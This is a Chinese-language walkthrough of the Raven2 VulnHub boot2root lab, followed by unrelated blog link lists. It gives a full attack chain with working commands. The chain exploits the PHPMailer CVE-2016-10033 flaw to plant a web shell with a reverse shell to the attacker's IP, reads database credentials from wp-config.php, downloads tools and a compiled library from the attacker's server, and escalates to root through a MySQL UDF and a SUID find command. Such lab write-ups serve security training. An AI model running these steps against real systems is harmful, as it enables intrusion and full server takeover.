Raven2项目实战
前言
Raven 2是一个中级boot2root虚拟机。有四面旗帜需要捕捉。在多次入侵之后,Raven Security采取了额外措施来加固他们的网络服务器,以防止黑客进入。你还能入侵Raven吗?
靶场环境
kali 192.168.31.153
Raven2 192.168.31.216
靶场环境下载:https://www.vulnhub.com/entry/raven-2,269/
渗透实战
环境搭建成功后,使用nmap扫描ip段,探测存活主机
nmap 192.168.31.0/24

发现存活主机,在浏览器访问http://192.168.31.216,查看web页面

第一步:对web页面进行信息收集,端口扫描,文件目录遍历
web页面:about.html service.html team.html /wordpress/ contact.php
端口扫描
nmap 192.168.31.216 -sV -O -p-

得到22 80 111 33177(一个未知端口),系统是debian
文件目录遍历,得到/js/ /vendor/ /manual/ /wordpress/wp-login.php

首先查看manual/index.html,是一个apache指引说明参考手册页面
在http://192.168.31.216/vendor/SECURITY.md 描述说明了PHPMailer的几个版本漏洞CVE,在http://192.168.31.216/vendor/VERSION描述了是PHPMailer5.2.16版本



浏览器搜索发现PHPMailer5.2.16的版本漏洞是CVE-2016-10033
可以去https://www.exploit-db.com/搜索相关漏洞,或者直接在kali使用searchsploit命令查找漏洞脚本
这里我为了方便展示,打开一个新窗口使用kali的searchsploit命令查找
searchsploit PHPMailer
find / -name 40974.py //这里使用40974.py脚本


将40974.py复制到/root目录下方便操作也不会将源文件改错
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/40974.py
vim 40974.py //修改脚本参数内容
内容修改:
#!/usr/bin/python
# -*- coding:utf-8 -*-
target = 'http://192.168.31.216/contact.php' //这是要入侵的目标页面
backdoor = '/shell.php' //写入后门
\\\'192.168.31.153\\\',5656 //kali要监听的端口和ip
-X/var/www/html/shell.php //写入的payload



修改完毕后,开始运行脚本文件写入后门
python3 40974.py //如果有报错使用以下代码,如果没有就不用
sudo apt-get install python3-pip //其中会安装此脚本需要的requests_toolbelt模块
运行脚本就会出现此界面,需要去访问http://192.168.31.216/contact.php才能生成后门脚本shell.php
访问完后,开启kali的nc监听
nc -lvnp 5656 //这里对应前面设置的5656端口
访问http://192.168.31.216/shell.php

使用python的pty 获取linux框架shell
python -c 'import pty;pty.spawn("/bin/bash")'

在/var/www/下有一个flag2.txt,这是第三个
第一个flag:http://192.168.31.216/vendor/PATH
第二个(http://192.168.31.216/wordpress/wp-content/uploads/2018/11/flag3.png)和第三个可以使用 find / -name flag* 命令查找
第四个要继续查找,现在已经getshell,接下去就是提权,首先对后台进行信息收集
查找关键信息及线索,在/var/www/html目录下使用ls查看文件,发现有一个wordpress的文件夹,cd进去寻找信息
ls
cd wordpress
再次使用ls可以看到一堆的wordpress框架文件

这里重点看配置文件wp-config.php,使用cat wp-config.php查看配置
发现了数据库为 wordpress 数据库用户 root 密码 R@v3nSecurity

接下来我们可以使用LinEnum.sh信息收集脚本对整个后台系统的扫描一遍
脚本下载地址:https://github.com/rebootuser/LinEnum
kali使用python开启http服务
python3 -m http.server 8989
在靶机后台使用:
wget http://192.168.31.153:8989/LinEnum.sh //这里我已经把脚本放在/root目录下

赋予执行权限
chmod +x LinEnum.sh
./LinEnum.sh //执行扫描

在此处可以发现登陆的数据库是root最高权限,那么我们就可以利用数据库来提权
涉及到数据库提权可以尝试使用udf提权方式获取最高权限

现在已知只要登陆数据库提权就是root,我们使用dpkg -l | grep mysql 查询是否有mysql及其版本信息
dpkg -l | grep mysql

发现是mysql 5.5.60版本,接着就是在kali中搜索mysql udf
searchsploit mysql udf

我们使用第二个 1518.c脚本,find / -name 1518.c查找路径,依旧复制出来修改并使用
find / -name 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/1518.c


使用gcc命令对1518.c进行编译成so文件
gcc -g -c 1518.c

gcc -g -shared -o cmd.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

利用http服务将so文件传输到靶机后台
wget http://192.168.31.153:8989/cmd.so
注:此处我传输的位置是在/var/www/html目录下,与后面传入数据库有关系

传输成功,现在登录mysql查询secure_file_priv是否为空
mysql -u root -pR@v3nSecurity //登录mysql
show global variables like 'secure%'; //查询secure_file_priv
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

发现可写入文件,开始接下来的udf提权操作
show databases; //查询所有数据库
use mysql; //使用mysql数据库

create table raven2(line blob); //创建表raven2
insert into raven2 values(load_file('/var/www/html/cmd.so')); //将刚上传的cmd.so插入表

raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数
select * from raven2 into dumpfile '/usr/lib/mysql/plugin/cmd.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'cmd.so';

查询函数是否创建成功
select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');

执行find命令
find / -exec "/bin/sh" \;

成功获取root权限,得到最后一个flag

总结
1.WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
2.成因 :
在漏洞文件class.phpmailer.php中,phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此可以进行任意构造拼接,从而产生了系统命令注入漏洞
Raven2项目实战的更多相关文章
- Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- 给缺少Python项目实战经验的人
我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...
- 【腾讯Bugly干货分享】React Native项目实战总结
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/577e16a7640ad7b4682c64a7 “8小时内拼工作,8小时外拼成长 ...
- Asp.Net Core 项目实战之权限管理系统(0) 无中生有
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(5) 用户登录
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(6) 功能管理
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
- Asp.Net Core 项目实战之权限管理系统(7) 组织机构、角色、用户权限
0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...
随机推荐
- Django笔记二十三之case、when操作条件表达式搜索、更新等操作
本文首发于公众号:Hunter后端 原文链接:Django笔记二十三之条件表达式搜索.更新等操作 这一篇笔记将介绍条件表达式,就是如何在 model 的使用中根据不同的条件筛选数据返回. 这个操作类似 ...
- 【Java SE】反射
Java Reflection 1 Java 反射机制概述 Reflection反射被视为动态语言的关键,反射机制允许在运行期间借助于Reflection取得任何类的内部信息,并能直接操作任意对象的内 ...
- android studio 做登陆界面
先来一个最简单的 AndroidManifest.xml <?xml version="1.0" encoding="utf-8"?> &l ...
- 33-module
const { resolve } = require('path') const HtmlWebpackPlugin = require('html-webpack-plugin') module. ...
- [人脸活体检测] 论文:Face Anti-Spoofing Using Patch and Depth-based CNNs
Face Anti-Spoofing Using Patch and Depth-based CNNs 这篇文章是人脸防伪领域比较容易理解,适合入手的一篇,主要运用到了两个CNN网络,根据输入图像的细 ...
- 基于ChatGPT用AI实现自然对话
1.概述 ChatGPT是当前自然语言处理领域的重要进展之一,通过预训练和微调的方式,ChatGPT可以生成高质量的文本,可应用于多种场景,如智能客服.聊天机器人.语音助手等.本文将详细介绍ChatG ...
- 简单理解重载运算符&位运算
重载运算符 作用 重载运算符的作用大致可以理解为自定义一个运算法则,比如当我们在使用结构体的时候,我们有时候会用到优先队列,但是优先队列并不能对于结构体使用,所以这个时候我们就需要用到重载运算符来自定 ...
- SpringBoot自定义注解+AOP+redis实现防接口幂等性重复提交,从概念到实战
本文为千锋教育技术团独家创作,更多技术类知识干货,点个关注持续追更~ 接口幂等性是Web开发中非常重要的一个概念,它可以保证多次调用同一个接口不会对结果产生影响.如果你想了解更多关于接口幂等性的知识, ...
- React Hooks方法
1.useState import React, { useState } from "react"; /* 目标: 掌握useState的使用 作用:实现响应式数据的 用法:引入 ...
- 2023-03-25:若两个正整数的和为素数,则这两个正整数称之为“素数伴侣“。 给定N(偶数)个正整数中挑选出若干对,组成“素数伴侣“, 例如有4个正整数:2,5,6,13, 如果将5和6分为一组的
2023-03-25:若两个正整数的和为素数,则这两个正整数称之为"素数伴侣". 给定N(偶数)个正整数中挑选出若干对,组成"素数伴侣", 例如有4个正整数:2 ...
